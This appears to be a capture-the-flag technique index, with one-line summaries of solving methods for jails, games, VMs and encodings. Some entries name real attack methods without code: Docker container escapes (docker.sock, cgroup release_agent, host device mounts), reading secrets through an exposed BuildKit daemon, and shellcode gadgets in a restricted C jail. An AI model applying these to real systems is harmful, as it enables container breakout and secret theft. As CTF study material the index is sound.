Time-only validation: Start session, time.sleep(required_seconds), submit win. See games-and-vms-2.md.

LoRA adapter merging: Merge W + B@A low-rank matrices, threshold to binary, visualize as bitmap for hidden flag. See games-and-vms-2.md.

Quine context detection: Dual-purpose quine that prints itself (passes validation) and runs payload only in server process via globals gate. See pyjails.md.

Repunit decomposition: Decompose target integer into sum of repunits (1, 11, 111, ...) using only 2 characters (1 and +) for restricted eval. See pyjails.md.

De Bruijn sequence: B(k, n) contains all k^n possible n-length strings as substrings; linearize by appending first n-1 chars. See games-and-vms-2.md.

Brainfuck instrumentation: Instrument BF interpreter to track tape cells, brute-force flag character-by-character via validation cell. See games-and-vms-2.md.

WASM memory manipulation: Patch WASM linear memory at runtime to set game state variables directly, bypassing game logic. See games-and-vms-2.md.

Neural network encoder collision: Greedy search + simulated annealing finds collisions in dimensionality-reducing encoders (16D→4D). See games-and-vms-2.md.

C code jail via emoji + gadget embedding: When only emoji and punctuation are allowed in C, use (😃==😃) as constant 1, build integers, embed gadgets in add eax, imm32 constants, jump to offset+1 for shellcode primitives. See games-and-vms-3.md.

Emulator ROM-switching: /load replaces ROM but preserves CPU state (registers, RAM, PC). Switch ROMs at specific PCs to combine INIT from one ROM with display instructions from another → read protected memory. See games-and-vms-3.md.

BuildKit daemon exploitation: Exposed BuildKit gRPC allows nested buildctl build with --mount=type=secret to read build secrets. Two-stage Dockerfile: install buildctl → submit nested build mounting flag secret. See games-and-vms-3.md.

Docker container escape: Privileged breakout via host device mount, docker.sock socket escape, CAP_SYS_ADMIN cgroup release_agent, container info leakage via /proc and overlayfs. See games-and-vms-3.md.

Hexadecimal Sudoku + QR assembly: 4 QR codes encode 16x16 hex Sudoku quadrants; solve grid, read diagonal as hex pairs → ASCII flag. See encodings.md.

Z3 boolean gate network SAT solving: Product key validation as 250 boolean gates (AND/OR/XOR/NOT) over 125 input bits. Model each gate as Z3 constraint, require all outputs True, solve in milliseconds. See games-and-vms.md.